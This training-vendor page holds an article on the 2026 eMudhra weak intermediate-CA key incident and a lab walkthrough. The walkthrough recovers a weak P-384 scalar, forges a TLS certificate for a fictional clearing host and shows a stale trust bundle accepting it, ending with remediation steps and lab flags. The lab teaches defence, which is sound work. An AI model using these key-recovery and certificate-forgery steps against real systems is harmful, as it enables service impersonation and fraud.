Workforce Development for Modern Networking and Cybersecurity Teams
Develop and refine skills for improved organizational resiliency with hands-on training and certifications.
INE offers a continuous
learn by doing training model
Award winning, hands-on and technically challenging training ensures learners have the in-depth knowledge and skill set to master the subject.
Build a Team Training RoadmapPopular Learning Paths & Courses
Made for Organizations
Our full-cycle training methodology was created with organizations in mind. INE provides organizations with what they need to develop, upskill, and retain employees in and across cybersecurity and networking roles.
Enterprise and Business SolutionsIntersection of Cybersecurity and Networking
Develop skills with immersive, scenario-based practice labs.
INE understands that teaching “how to” under "ideal" conditions stops short of being work-role ready. We place great emphasis on creating scenarios which are as close to real world circumstances as possible to help create a resilient team.
Top News
When a Valid TLS Chain Lies
The certificate was valid. The identity was not.Publication detailValueCategoryPKI / TLS / applied cryptographyEvidence current through26 October 2026Estimated reading timeapproximately 35 minutes at 200 words per minuteExecutive SummaryGHOSTTRUST LAB synthetic training evidence. The opening banking scenario and every GhostTrust name, certificate, key and transaction are fictional. They reproduce a failure class without using real compromised material.Imagine that Meridian Bank uses a clearing service to decide whether a $48,750 transfer should be released. A separate query to the genuine comparison origin returns HOLD. In the simulated attack path, the bank is preconfigured to contact a synthetic gateway controlled by Mallory. Network position alone should not be enough: the bank's TLS client is supposed to reject a server that cannot prove its identity. Mallory instead recovers the private key of a trusted intermediate certificate authority, signs a new certificate for the clearing hostname, and presents it to a stale client. The client reports a valid TLS chain and accepts the gateway-generated APPROVED response. GhostTrust assumes this attacker position; it does not demonstrate acquiring it or transparently intercepting the genuine origin.REAL INCIDENT confirmed public evidence. The public record establishes recoverable eMudhra intermediate CA keys, the affected certificate classes, the root-program response and the limits described below. It does not establish a real bank attack.GhostTrust demonstrates the cryptographic and trust-policy portion of that attack: weak-key recovery, unauthorized issuance, stale-chain acceptance and consumption of attacker-controlled data. It is also the central risk created by the October 2026 eMudhra incident: eight intermediate CA private keys were recoverable from public certificate material. Chrome's incident response classified six as TLS-issuing intermediates and two as Code Signing intermediates. The eMudhra root private keys were not compromised. The root failure carries no CVE of its own; it was a certificate-authority key-generation failure, not a flaw in TLS, P-384, or any cryptographic library, and not evidence that ordinary elliptic-curve keys can be guessed. The CVEs that do exist, Firefox’s CVE-2026-113470 and Go’s CVE-2026-111943, track client software that kept trusting the compromised certificates until updated, not a cryptographic break.It was a key-generation failure that reduced supposedly strong private values to a tiny search space. Chrome Root Program response eMudhra incident updateThe real attack also has hard prerequisites. Mallory must be in an active adversary-in-the-middle position, and the victim client must still accept a chain through an affected authority. Possession of an intermediate key does not passively decrypt recorded TLS sessions, recover historical plaintext, or place an attacker on the network path. Chrome reported that its CRLSet block and Certificate Transparency enforcement protected default Chrome before any certificate chaining to the six TLS intermediates had appeared in CT. The difficult tail was and remains in incidents like this non-browser software with stale or private trust bundles. Chrome Root Program response public client-remediation trackerI reviewed the public Mozilla incident record, the Chrome and Mozilla root-program discussion, the published certificate inventory, eMudhra's update current on 26 October, the GhostTrust target and helper source, and a supplied end-to-end lab transcript. I did not recover or use any real eMudhra private key, test a public service, or reproduce eMudhra's infrastructure. The runtime claims below are limited to the supplied, verified GhostTrust execution record.At a glanceQuestionEvidence-backed answerIncident typeRecoverable intermediate CA private keys caused by catastrophically small P-384 private scalarsAffected materialSix TLS-issuing and two Code Signing intermediate CA keysRoot private keysNot part of the reported compromiseTLS impersonation prerequisiteAn active adversary-in-the-middle position plus a client that still accepts an affected pathPassive or historical decryptionNot enabled by possession of an intermediate CA signing keyMalicious pre-disclosure exploitationNo public evidence identified; absence of evidence is not proof that no unseen attempt occurredGhostTrustA synthetic, controlled training implementation not eMudhra infrastructure and not a CVEChrome's response provides the six-TLS/two-Code-Signing classification and its CT and CRLSet findings. eMudhra says it found no evidence that the weak keys were recovered or exploited before disclosure, while its full root-cause analysis remained pending on 26 October. Chrome Root Program response eMudhra incident statementBackgroundThe certificate in the middleA browser or application rarely receives a leaf certificate signed directly by a root CA. More often, trust is delegated:trusted root CA
└── intermediate CA
└── server certificate for api.exampleThe root is the long-lived trust anchor. The intermediate performs day-to-day issuance. If an intermediate's signing key is recovered, an attacker can create new leaf certificates that appear to descend from that trusted hierarchy. TLS can still negotiate modern ciphers and encrypt every byte; the failed property is authentication. The client has established a confidential channel to the wrong endpoint.For an elliptic-curve key, the certificate publishes a public point Q, while the private scalar d should remain secret:Q = dGHere, G is the curve's standard generator. Recovering a properly generated P-384 scalar from Q is infeasible with current methods. That protection disappears when d comes from a tiny candidate set: derive dG for each candidate and compare it with the public point already present in the certificate. The algorithm has not failed; the private value never had the expected entropy.How the incident surfacedThe public reporter identifies only as Wayne. According to Wayne's Bugzilla timeline, a test against a CCADB certificate corpus first detected the broken EC keys at 16:27 UTC on 17 October 2026. At 18:05 UTC, Wayne sent the report and signed attestations to Apple, Chrome, Microsoft, Mozilla and eMudhra. Wayne later explained that Google's open-source paranoid_crypto found the weakness “out of the box”; CCADB had initially been intended as a quick corpus test. Wayne's discovery timeline Wayne's discovery explanationThe attestations mattered because they did more than point at suspicious public keys. Wayne signed a fixed message with each recovered intermediate private key, and the signatures could be checked against the corresponding public certificates. That establishes control of each signing key without publishing the private keys themselves. public proof descriptionIncident timelineDate and time (UTC)Event30 April 2025eMudhra says the eight intermediates were created during a key-generation ceremony.17 October 2026, 16:27Wayne's CCADB corpus test detects the weak EC keys.17 October 2026, 18:05Wayne reports the issue and sends per-key attestations to the root programs and eMudhra.17 October 2026, 19:45Chrome says it completed corroboration and landed an SPKI-based CRLSet block for the six TLS-issuing keys.18 October 2026, by 09:38The eight intermediate certificates are recorded as revoked for CA compromise.20 October 2026Mozilla publicly describes its response and publishes an NSS trust-store update removing the signing root for downstream users.26 October 2026eMudhra confirms a script error produced weak keys; its full root-cause analysis remains pending.Sources: Mozilla Bugzilla incident, Mozilla and Chrome root-program discussion, and eMudhra's incident statement.What is known and what is notThe published inventory identifies eight affected certificates using P-384 keys. Chrome's response separates them into six TLS-issuing and two Code Signing intermediates; the Code Signing constraints did not permit Chrome to construct a TLS path through those two. The affected intermediates were created on 30 April 2025. eMudhra says a script error during a key wrap/unwrap step produced a second, weak set of keys alongside the intended strong keys, and the weak set was published. Chrome Root Program response eMudhra's 26 October updateThat is the current boundary of the confirmed root cause. As of 26 October, eMudhra says the exact mechanism is still under investigation and promises a full analysis through the CCADB process. Speculation about test vectors, reference files or HSM behavior should not be presented as settled fact. The confirmed failure is weak published intermediate keys; the precise code path that produced them remains pending.In Bugzilla comment 43, eMudhra also stated that it had decided to exit the public TLS business. That is eMudhra's own incident-response statement; it is not a regulator sanction, and it does not mean customer migration was complete on 26 October. The same comment says the full report was still being prepared. eMudhra statement in Bugzilla comment 43eMudhra says it had not issued publicly trusted end-entity certificates from the eight affected CAs before disclosure. Researchers later created certificates with recovered keys as proof and research activity; those post-disclosure certificates demonstrate that the signing capability was real, not that malicious exploitation occurred before disclosure. eMudhra incident statement Mozilla Bugzilla discussionVulnerability DetailsFrom a public certificate to a signing capabilityA certificate is designed to publish its subject, issuer, validity period, permitted uses and public key. That normally reveals nothing practical about the private scalar. The eMudhra intermediates broke that assumption because the scalar space was extremely small. Anyone who obtained the public certificates could test candidate scalars offline, compare each derived public point with the certificate's public point, and stop on a match.Once recovered, the intermediate key carries the authority encoded in the certificate. For a TLS-capable intermediate, Mallory can generate a new leaf key, construct a certificate naming a service she does not own, and sign it with the recovered intermediate key. The forged leaf is not self-signed; it forms a cryptographically valid chain to the same root that a stale client already trusts.The following is a possible real-world abuse path, not the literal GhostTrust service topology:The diagram contains two different failures that must coincide. The CA failure gives Mallory a signing capability. The relying-party failure leaves the affected trust path usable. Neither one places Mallory on the network path, so DNS manipulation, a malicious proxy, BGP interference, gateway control or some equivalent active position is still required.Why a green lock can be the wrong answerCertificate validation answers a specific question: can the presented leaf be linked, under current policy, to an accepted trust anchor for the requested hostname? It does not independently know whether an intermediate key was generated safely. If the signature is mathematically correct and the affected intermediate is still accepted, the client can return “verification OK” even though an unauthorized party created the leaf.This distinction explains the urgency of root-program blocklists. Chrome says it blocked the SPKI hashes of all six TLS-issuing keys, covering both eMudhra-issued intermediates and Sectigo cross-certificates that shared those keys. Mozilla used OneCRL and then removed the relevant root from NSS for downstream consumers that do not receive Firefox's live protections. Chrome Root Program response Mozilla responseThe browser response and the client long tailChrome reported an important negative finding: before its 17 October block, no TLS certificates chaining to the six intermediates had been logged to Certificate Transparency. Because default Chrome requires CT for roots in the Chrome Root Store, such an unlogged forged certificate would have been rejected. That substantially narrows the demonstrated browser impact; it does not prove that every non-browser client was safe.Command-line tools, embedded devices, application containers, language runtimes and applications can carry their own CA bundle, omit CT enforcement, or handle revocation differently. Updating a desktop browser does not update a CA file baked into an old image. The public remediation tracker documents this distributed patch problem across operating systems, bundles, runtimes and libraries. client-remediation trackerExploitability AnalysisWhat the evidence establishesThe public attestations establish recovery of the eight intermediate signing keys. The inventory and root-program responses establish that six keys were associated with TLS-issuing intermediates and two with Code Signing intermediates. This is a real signing primitive, not merely a malformed-certificate observation.Impact versus evidenceStatementClassificationWhat the record supportsEight intermediate signing keys were recoverableConfirmed factWayne's signed attestations and independent Mozilla recovery established control of the keysSix keys could issue TLS chains; two were Code Signing constrainedConfirmed factChrome's root-program response distinguishes the two certificate classesAn unauthorized certificate can support TLS service impersonationRealistic conditional impactThe attacker must also control the network path, choose a valid hostname and reach a client that still accepts the affected chainGhostTrust's stale connector accepted an attacker-controlled APPROVED response while the separately queried genuine origin returned HOLDConfirmed lab-only resultThe supplied transcript records the synthetic legacy connector accepting APPROVED while the genuine origin returned HOLDThe weak keys were maliciously exploited before disclosureNot demonstratedeMudhra reports no evidence of pre-disclosure recovery or exploitation; the public record does not prove an unseen attempt was impossibleRoot keys, P-384 or TLS itself were brokenNon-claimThe reported compromise concerned intermediate keys generated with tiny scalar values, not a cryptanalytic break of the curve or protocolRecorded TLS sessions can now be passively decryptedNon-claimAn intermediate CA signing key enables certificate issuance; it is not the session secret or a server's historical leaf private keyFor TLS impersonation, Mallory still needs all of the following:A recoverable TLS intermediate key. The six TLS-capable keys satisfy this condition; Code Signing constraints do not automatically become TLS authority.An active network position. Mallory must cause Alice's connection to reach Mallory's endpoint or otherwise intercept and terminate it.A client that still accepts the affected path. A current browser with the emergency block and CT enforcement is a different target from a stale service using a bundled CA file.A matching leaf certificate. The certificate must satisfy hostname and relevant usage checks.A useful application exchange. Mallory can only read or modify traffic that the intercepted client sends through the impersonated endpoint.Under those conditions, the plausible impact includes service impersonation, credential capture, malicious update or API responses, and modification of application data in transit. The concrete GhostTrust result is narrower: one synthetic bank connector accepts an attacker-controlled settlement decision that differs from the separate genuine-origin response.What this does not proveThis incident should not be described as passive decryption. Eve, a passive observer with packet captures, does not gain historical plaintext simply because an intermediate signing key becomes known. Modern ephemeral TLS key exchange is not reversed by possession of a CA signing key.It also does not prove:compromise of an eMudhra root private key;compromise of eMudhra infrastructure or customer data;prior malicious exploitation of the weak keys;universal exposure of browsers after the emergency blocks;a flaw in the P-384 curve, OpenSSL or TLS itself;that every application trusting an eMudhra root would accept every affected chain; orthat certificate possession alone supplies DNS, routing or proxy control.eMudhra says the affected intermediates had not issued publicly trusted end-entity certificates before disclosure and that it found no compromise of infrastructure or customer data. Chrome's CT review found no pre-block entries chaining to the six TLS intermediates. Those are meaningful negative findings, while not being a proof about unlogged, non-CT clients. eMudhra's 26 October update Chrome Root Program responseDetection: find trust that outlived the incidentDefenders should start with the exact affected-certificate fingerprints and SPKI values in the published JSON inventory, then answer where those chains can still validate.Useful checks include:inventory OS, runtime, application, container, proxy and appliance trust stores separately;identify images or binaries that embed their own CA bundle rather than using the host store;compare bundle versions with the relevant vendor's patched release;test whether revocation is checked for intermediates, not only leaf certificates;inspect outbound TLS telemetry for affected issuer names, certificate fingerprints or SPKI hashes;search certificate inventories and CT monitoring for unexpected leaves chaining to the affected keys, while remembering that absence from CT does not clear non-CT traffic; andverify that emergency distrust reaches long-lived workloads after rebuild and redeployment, not merely the build host.The question is not just “did we patch Chrome?” It is “which TLS verifier made this connection, and which trust state did that verifier actually load?”Lab-value clarification: The private scalar 173 is an intentionally selected fictional value used only in GhostTrust. It is not an eMudhra private-key value. The real incident involved eight weak intermediate CA keys, six TLS-issuing and two Code Signing whose private scalars were reportedly below 256; the lab reproduces this vulnerability class without using real compromised key material.Proof of ConceptGHOSTTRUST LAB synthetic training evidence. This walkthrough uses only the fictional GhostTrust target and the supplied Kali desktop. It does not recover or distribute a real eMudhra key, contact eMudhra, or test a real bank.Screenshot provenance. Every image in this walkthrough is a curated lab-manual illustration captured from the synthetic GhostTrust environment. The screenshots are not raw evidence from the public eMudhra incident and should not be interpreted as such.OverviewThe 2026 eMudhra certificate incident involved intermediate CA private keys whose values had catastrophically low entropy. Public reporting described P-384 private values small enough to recover by testing only the candidate range 1..255. Control of a TLS-issuing intermediate key whose constraints permit server authentication can allow an attacker to issue unauthorized TLS certificates for sites they do not control.This lab safely recreates the same vulnerability class and exploitation mechanism with fictional certificates, domains, organizations, and banking records. The target is one standalone container, while you work from the separately provided Kali GUI.TaskInvestigate Meridian Bank’s settlement-verification path. Recover the weak private scalar belonging to the supplied fictional intermediate CA certificate, issue a certificate for the lab clearing hostname, demonstrate that the legacy connector accepts a response from the simulated attacker endpoint, and verify that the patched connector rejects the same certificate chain.ObjectiveBy completing the exercise, you will demonstrate:recovery of an extremely low-entropy P-384 private scalar;unauthorized leaf-certificate issuance from a compromised intermediate;TLS impersonation in a simulated, preconfigured attacker position;acceptance of attacker-controlled business data despite successful TLS validation; andmitigation through an updated trust policy.How the simulated scenario worksThe standalone target contains several logical services on one IP. The lab’s configured routing places a synthetic clearing gateway in the bank application’s clearing path. After the student-generated certificate is installed, that gateway presents the unauthorized chain and returns its own controlled settlement response.The genuine origin is a separate comparison endpoint. The gateway does not transparently fetch, decrypt, modify, or re-encrypt the genuine origin’s traffic. The exercise proves unauthorized certificate issuance, acceptance of an impersonating endpoint, and the security difference between stale and patched trust policies. It does not independently create or demonstrate a real network interception position.Lab ScenarioThe diagram below shows the complete GhostTrust workflow. The student first recovers the deliberately weak private scalar associated with the fictional Atlas intermediate CA. That recovered signing key is then used to issue an unauthorized TLS certificate for clearing.meridian-bank.local, which is installed on the simulated attacker gateway.The Meridian Bank application is already configured to contact this gateway for settlement verification. Its legacy connector accepts the unauthorized certificate because the stale trust bundle still contains the Atlas root. The gateway can therefore return attacker-controlled settlement data through a TLS connection that validates successfully. The patched connector removes the Atlas authority from its trust policy and rejects the same certificate chain.The genuine clearing origin is provided only as a comparison endpoint. The simulated gateway does not fetch, intercept, decrypt, modify, relay, or re-encrypt traffic from the genuine origin.Diagram-label clarification. The tested standalone lab uses clearing-origin.local for the separate genuine comparison endpoint, and the simulated gateway returns the decision APPROVED. The labels clearing.meridian-bank.local and SETTLED in this supplied overview graphic are schematic; the commands, captured outputs and written walkthrough below are authoritative.SolutionStep 1: Start from the provided Kali GUIUse the Kali desktop supplied by the lab platform. Do not SSH into Kali. The target names have already been mapped to the single target IP, so do not edit /etc/hosts.Open a terminal and confirm the four names resolve to the same target address:getent hosts meridian-bank.local
getent hosts clearing.meridian-bank.local
getent hosts clearing-origin.local
getent hosts gateway-status.localUsing one IP is intentional. The standalone target separates its logical services through HTTP host names and TLS Server Name Indication (SNI).Step 2: Download the student evidence kitCreate a working directory and retrieve the kit directly from the target:mkdir -p ~/ghosttrust-lab
cd ~/ghosttrust-lab
curl -fsS http://gateway-status.local:8080/lab/lab-kit.tar.gz | tar -xz
find . -maxdepth 2 -type f | sortlab-kit.tar.gz is the downloadable student-material bundle for the fictional GhostTrust exercise. The target serves it over port 8080 so every student receives the same public evidence, trust policies, and restricted helper scripts. The archive is not a running service and downloading or extracting it does not exploit the target.The archive contains:README.txt summarizes the fictional endpoints, starting workflow, and safety boundary.evidence/atlas-root.crt the fictional Atlas root CA certificate used to understand the affected trust hierarchy.evidence/atlas-weak-intermediate.crt the public P-384 intermediate CA certificate audited in the lab. It contains the public key, not the private scalar.trust/legacy-trust.pem the stale trust bundle containing both the fictional Meridian and Atlas roots. After the controlled certificate installation, this bundle accepts the student-generated Atlas chain.trust/meridian-root.crt the fictional Meridian root used by curl to authenticate the genuine clearing-origin.local endpoint.trust/patched-trust.pem the updated trust bundle containing only the Meridian root. Atlas has been removed, so the same student-generated chain is rejected.recover_weak_key.py an offline helper that tests the deliberately restricted scalar range 1..255 against the public point in atlas-weak-intermediate.crt. When it finds the matching lab value, it creates recovered-intermediate.key locally.forge_lab_certificate.py a restricted helper hard-coded to issue only for clearing.meridian-bank.local. It creates artifacts/forged-leaf.pem, artifacts/forged-fullchain.pem, and artifacts/forged-key.pem, then sends the chain and leaf key to the lab-only /install endpoint.The following files are generated while the student performs the exercise; they are not shipped inside the archive:recovered-intermediate.key the recovered fictional intermediate private key; andartifacts/forged-leaf.pem, artifacts/forged-fullchain.pem, and artifacts/forged-key.pem the fictional leaf certificate, complete presented chain, and matching leaf private key.The kit contains no real CA material, real compromised private key, packet capture, eMudhra certificate, or real bank data. It is lab scaffolding, not the vulnerability itself. The result is demonstrated only after the controlled recovery, issuance, installation, legacy-validation, and patched-rejection steps are completed inside GhostTrust.Confirm the required Python library is available:python3 -c "import cryptography; print(cryptography.__version__)"This one-line Python command only imports the required library and prints its installed version. It is a dependency check; it does not contact or exploit the target.Step 3: Inspect the Meridian Bank applicationOpen Firefox and visit:http://meridian-bank.local/The portal shows a pending transfer with reference MB-20481, beneficiary ACME-SUPPLIES, and amount $48,750.00. It also reveals that the clearing connector uses a legacy trust bundle whose last refresh was 28 days ago.The browser-facing portal uses HTTP in this standalone package so it does not require changes to the platform’s Kali trust store. The security exercise concerns the bank application’s authenticated outbound TLS connection to the clearing service.Step 4: Enumerate the standalone targetScan the relevant ports:nmap -Pn -sT --version-light -p 80,443,8080 meridian-bank.localThe ports represent:80/tcp bank portal and application API;443/tcp SNI-routed bank, clearing gateway, and genuine origin endpoints; and8080/tcp lab-kit and target-status service.Check the clean gateway state:curl -sS http://gateway-status.local:8080/status | jq .forged_material_present should be false and certificate_profile should be untrusted-bootstrap.Step 5: Establish the clean TLS behaviorAsk the bank’s legacy connector to validate the transfer:curl -sS "http://meridian-bank.local/api/transfer-preview?mode=legacy" | jq .The gateway is in the application’s configured path, but its bootstrap certificate cannot chain to a root in the legacy trust bundle. Network position alone is therefore insufficient.Step 6: Inspect the weak intermediateInspect the fictional certificate identity:openssl x509 \
-in evidence/atlas-weak-intermediate.crt \
-noout -subject -issuer -serial -datesInspect its key type and CA extensions:openssl x509 \
-in evidence/atlas-weak-intermediate.crt \
-noout -text | \
grep -E "Public Key Algorithm|ASN1 OID|CA:TRUE|Key Usage"The certificate uses P-384 (secp384r1) and has CA:TRUE. For an elliptic-curve key, the public point is Q = dG, where d is the private scalar. A correctly generated P-384 scalar has an enormous candidate space. In this exercise, d is known to be between 1 and 255, making direct comparison practical.Step 7: Recover the private scalarRun the supplied audit helper:How the recovery script worksrecover_weak_key.py reads the public P-384 point from the supplied intermediate certificate. It derives a public point for every candidate scalar from 1 through 255 and compares each result with the certificate’s public key. When the points match, the corresponding scalar is written locally as recovered-intermediate.key.This operation is performed entirely offline and does not modify any target service.python3 recover_weak_key.pyWhat recover_weak_key.py does and whyThis is a supplied cryptographic audit helper, not a programming exercise. It works entirely offline against the fictional certificate:It opens evidence/atlas-weak-intermediate.crt and extracts the P-384 public point Q. A certificate contains this public value; it does not contain the private scalar.It tests the deliberately restricted lab range 1..255. In Python, range(1, 256) includes 1 and stops before 256, so exactly 255 candidates are tested.For each candidate scalar d, the cryptography library derives the corresponding public point dG on the secp384r1 curve.It compares that candidate point with Q. An exact coordinate match means the candidate belongs to the certificate’s public key.When candidate 173 matches, the helper serializes it as an unencrypted PKCS#8 PEM file named recovered-intermediate.key and restricts the file to mode 0600. If no candidate matches, the script exits without producing a key.The recovered intermediate key is needed for the next step because it supplies the fictional CA signing authority used to issue the unauthorized leaf certificate. This works only because the exercise deliberately limits the search to 255 known candidates. It is not extraction of a secret field from the certificate, an ECDSA nonce attack, a general elliptic-curve attack, or a break of P-384.Confirm that the recovered key matches the certificate public key:openssl pkey -in recovered-intermediate.key -pubout -outform DER | sha256sum
openssl x509 -in evidence/atlas-weak-intermediate.crt -pubkey -noout | \
openssl pkey -pubin -outform DER | sha256sumThe first command derives the public key from recovered-intermediate.key. The second extracts the public key embedded in the certificate. Both are normalized to DER before SHA-256 hashing. Matching hashes show that the two public keys are byte-for-byte identical, confirming that the recovered private key corresponds to the certificate without displaying the private scalar itself.Step 8: Issue, inspect, and install the lab certificateThe kit was extracted directly into ~/ghosttrust-lab, so the forging helper is located at ~/ghosttrust-lab/forge_lab_certificate.py. Run it from the extracted kit directory:cd ~/ghosttrust-lab
python3 forge_lab_certificate.pyHow certificate forging and installation workforge_lab_certificate.py generates a new leaf key pair and constructs a TLS server certificate restricted to clearing.meridian-bank.local. It signs that certificate using the recovered fictional intermediate key.The helper creates the leaf certificate, the presented certificate chain, and the matching leaf private key. It then uploads the full chain and leaf key to the lab-only /install endpoint. After installation, the simulated gateway can present the unauthorized chain during a TLS handshake for the clearing hostname.What forge_lab_certificate.py does and whyThis second supplied helper demonstrates what possession of the fictional intermediate signing key permits. Students run it as provided; they do not need to write or modify Python code.The helper loads the Atlas intermediate certificate and recovered-intermediate.key, generates a fresh P-384 private key for the server, and builds a 30-day leaf certificate restricted to clearing.meridian-bank.local. The leaf is marked CA:FALSE, contains that exact DNS Subject Alternative Name, includes TLS server-authentication usage, receives a random serial number, and is signed by the recovered intermediate key using SHA-384.It then writes the leaf certificate, the presented leaf-plus-intermediate chain, and the new leaf private key beneath artifacts/. Finally, it sends the chain and matching leaf key to the lab-only /install endpoint so the disposable target can present them on the next TLS handshake for the clearing SNI hostname.The /install endpoint is exercise orchestration not the real vulnerability. It does not recover a key, create a network interception position, contact the genuine origin, or proxy its traffic. Its only purpose is to activate the student-generated identity inside this controlled target so the legacy and patched verification policies can be compared.The certificate construction happens on Kali. On the target, the installation endpoint checks that the uploaded certificate and private key can be loaded as a pair and that the certificate’s DNS SAN is exactly clearing.meridian-bank.local. It then stores that material in the lab’s temporary state. For a new TLS connection using that SNI hostname, the clearing service selects the installed certificate instead of the bootstrap certificate. The /install endpoint does not decide whether the chain is trusted; that decision is made later by the bank connector using either the legacy or patched CA bundle.The helper is hard-coded to issue only for clearing.meridian-bank.local. It creates these runtime files beneath the extracted kit:artifacts/forged-leaf.pem - the generated server certificate;artifacts/forged-fullchain.pem - the leaf followed by the fictional Atlas intermediate; andartifacts/forged-key.pem - the matching leaf private key, stored with mode 0600.Inspect the generated leaf certificate before testing it:openssl x509 \
-in artifacts/forged-leaf.pem \
-noout -subject -issuer -serial -dates -ext subjectAltNameConfirm that the subject identifies the fictional clearing service, the issuer is Atlas DV TLS CA - G3B, and the Subject Alternative Name contains DNS:clearing.meridian-bank.local.The helper defines BASE = Path(__file__).resolve().parent, so it resolves every path from the directory containing the script not from an arbitrary shell working directory. It reads evidence/atlas-weak-intermediate.crt and recovered-intermediate.key beside the script, creates artifacts/ beside the script, and then POSTs the full chain and leaf key to the lab-only http://gateway-status.local:8080/install endpoint.Standalone path warning: Do not use student-kit/ or drop/ in this student workflow. Those names belong to the source-delivery layout and the older multi-container range. The archive downloaded from the standalone target extracts forge_lab_certificate.py, recover_weak_key.py, evidence/, and trust/ directly into ~/ghosttrust-lab.Verify the clearing endpoint through the legacy trust bundle:openssl s_client \
-connect clearing.meridian-bank.local:443 \
-servername clearing.meridian-bank.local \
-CAfile trust/legacy-trust.pem \
-verify_return_error /dev/null | \
grep -E "subject=|issuer=|Verification"Verification: OK confirms that the unauthorized leaf is valid according to the stale trust policy.Why the legacy and patched results differBoth connectors receive the same server name, forged leaf certificate, intermediate certificate, and gateway-controlled response. The difference is their trust policy.The legacy bundle still contains the fictional Atlas root, allowing the forged leaf to build a trusted path through the compromised intermediate. TLS validation succeeds, and the application consumes the gateway-controlled business response. The patched bundle contains only the Meridian root. Because the Atlas chain can no longer reach a trusted root, certificate validation fails and the response is blocked.The genuine clearing origin remains a separate comparison endpoint and is authenticated using the fictional Meridian root.Diagram-label clarification. In the captured lab response, the legacy connector accepts the gateway-controlled decision APPROVED; SETTLED in this supplied conceptual graphic is shorthand for the attacker-controlled settlement outcome.Step 9: Compare the genuine and attacker-controlled responsesQuery the genuine clearing origin using its fictional Meridian root:curl -sS --cacert trust/meridian-root.crt \
"https://clearing-origin.local/v1/validate?reference=MB-20481&beneficiary=ACME-SUPPLIES&amount=48750.00" | jq .The genuine origin returns beneficiary ACME-SUPPLIES, decision HOLD, fraud score 87, and intercepted: false.Now repeat the bank’s legacy verification:curl -sS "http://meridian-bank.local/api/transfer-preview?mode=legacy" | jq .The response accepted from the simulated gateway contains beneficiary HARBOR-CONSULTING-8821, decision APPROVED, fraud score 3, and intercepted: true. These values differ from the independently queried genuine origin. The intercepted field is an explicit lab marker; it is not evidence that the gateway transparently proxied and modified the genuine origin response.Record the first flag:LAB{a_valid_chain_can_still_be_untrustworthy}TLS encryption still operated. The failure was authentication: the reconstructed intermediate key allowed the simulated gateway to present a chain accepted by the stale client, after which the client consumed content supplied by that impersonating endpoint.Step 10: Verify the patched trust policySend the same request through the patched connector:curl -sS "http://meridian-bank.local/api/transfer-preview?mode=patched" | jq .The patched trust bundle excludes the fictional Atlas authority, so the certificate path fails. Record the second flag:LAB{every_tls_client_needs_revocation_updates}Step 11: Review the audit trailcurl -sS http://meridian-bank.local/api/audit | jq .The events show the clean blocked request, the accepted legacy request after certificate installation, and the patched rejection. The same events can be viewed from the portal.Step 12: Connect the lab to real remediation workThe real incident required action in more places than browsers. An application might verify certificates through its operating system, a language runtime, a bundled CA file, a container base image, a proxy, an SDK, or custom code. Updating one verifier does not update all the others.A defensible response should include:Distrust the affected intermediate keys or issuing hierarchy in every active verification path, using the narrowest reliable control available.Update shared trust stores, language and runtime CA bundles, container base images, VPN clients, proxies, API clients, and embedded systems.Reload, restart, rebuild, or redeploy applications so the new policy is actually active.Test the application's real TLS path; a successful browser or unrelated curl test does not prove that another verifier is protected.Monitor Certificate Transparency and other available issuance telemetry for unauthorized certificates.Replace affected certificates and keys where required, and investigate whether interception occurred.Never work around new certificate errors by disabling verification.SummaryYou enumerated one standalone target image containing several realistic logical services. You retrieved only public evidence, recovered a deliberately weak P-384 intermediate private scalar, issued a lab-restricted clearing certificate, and proved that a stale application verifier accepted it.The legacy path consumed an attacker-controlled banking decision even though TLS verification succeeded. The patched path rejected the same certificate after the affected authority was removed from its trust policy. The lab does not implement transparent interception of the genuine origin; it demonstrates acceptance of an impersonating endpoint under a stale trust policy. This shows why CA-key compromise response must reach every browser, operating system, language runtime, application bundle, container image, proxy, and embedded verifier that authenticates TLS endpoints.ReferencesArs Technica The Internet goes on high alert after discovery of 8 compromised TLS certsMozilla Protecting Firefox users following the compromise of eMudhra intermediate certificatesCloudflare 8 eMudhra certificates are compromisedRemediationFor relying parties: distrust must reach the process that verifies TLSRevocation is useful only when the verifier that makes the connection actually obtains and enforces it. A response plan therefore has to follow the trust decision into every application, not stop at the browser or operating-system update.Apply vendor emergency updates and rebuild workloads with current trust bundles.Block affected SPKI hashes where supported. Because an SPKI block follows the key, it also covers cross-signed certificates that reuse that key the property Chrome relied on in its CRLSet response.Verify that revocation processing checks intermediate CAs, not only leaf certificates, and understand whether the application fails closed when revocation data is unavailable.Inventory independent and bundled stores in containers, language runtimes, appliances, proxies and long-lived processes; a host update does not automatically replace them.Remove the affected root only where a narrower block is unavailable and the resulting availability impact has been assessed.Enforce Certificate Transparency for public WebPKI use where the client ecosystem supports it.Retest the exact application connection after deployment. A successful browser test on the same machine does not prove that the application loaded the same trust state.Chrome's SPKI block and Mozilla's OneCRL response illustrate fast centralized controls. Their root-store changes addressed downstream consumers that did not receive those live blocklists. Chrome and Mozilla response threadFor certificate authorities: verify what was generated, not what the ceremony expectedThe key-generation process needs controls that survive script and wrap/unwrap mistakes:validate every generated public key for known weak-key classes before certificate issuance and publication;independently verify that the public key certified is the key pair intended by the ceremony;test wrap/unwrap and backup/restore steps as security-critical code paths;require two-person review and durable audit evidence for deviations from the approved ceremony procedure;continuously scan all disclosed CA certificates, not only roots, with tools such as paranoid_crypto or an actively maintained equivalent;compare CRL and OCSP signing behavior with the certified keys; andrehearse emergency intermediate distrust across root programs and downstream trust-store consumers.These are remediation principles, not a claim that eMudhra has completed them. As of 26 October, eMudhra says its full root-cause analysis and independent review are still pending. eMudhra incident statementRegression tests for GhostTrustFor the training target, the meaningful regression sequence is:bootstrap certificate is rejected;scalar recovery matches the fictional intermediate public key;the legacy bundle accepts the forged lab chain;the genuine and attacker-generated business responses differ;the patched bundle rejects the same chain; andreset removes the forged material and clears state.The lab should keep the exact-SAN restriction on /install and its fictional trust hierarchy. Expanding that endpoint would not improve fidelity; it would only broaden the training tool beyond its stated safety boundary.SummaryThe eMudhra incident was a failure of intermediate CA key generation, not a break in TLS or elliptic-curve cryptography. Wayne's publicly documented CCADB scan found recoverable keys on 17 October 2026; signed attestations established control, root programs reacted quickly, and eMudhra revoked the eight intermediates. Chrome classified six as TLS-issuing and two as Code Signing, while confirming that the root private keys were not the compromised material. eMudhra now attributes the weak published keys to a script error around a wrap/unwrap step, but its exact root-cause analysis remains pending as of 26 October.The potential TLS impact is serious but conditional: Mallory needs both an active network position and a client that still accepts the affected chain. That combination can turn a cryptographically valid connection into authenticated communication with the wrong endpoint. It cannot retroactively decrypt captured sessions, and the evidence does not establish malicious exploitation before disclosure.GhostTrust makes that narrow mechanism visible with fictional material. It recovers synthetic scalar 173, signs a leaf for a fictional clearing hostname, shows Verification: OK under a stale bundle, records acceptance of a different attacker-controlled settlement decision, and then shows the 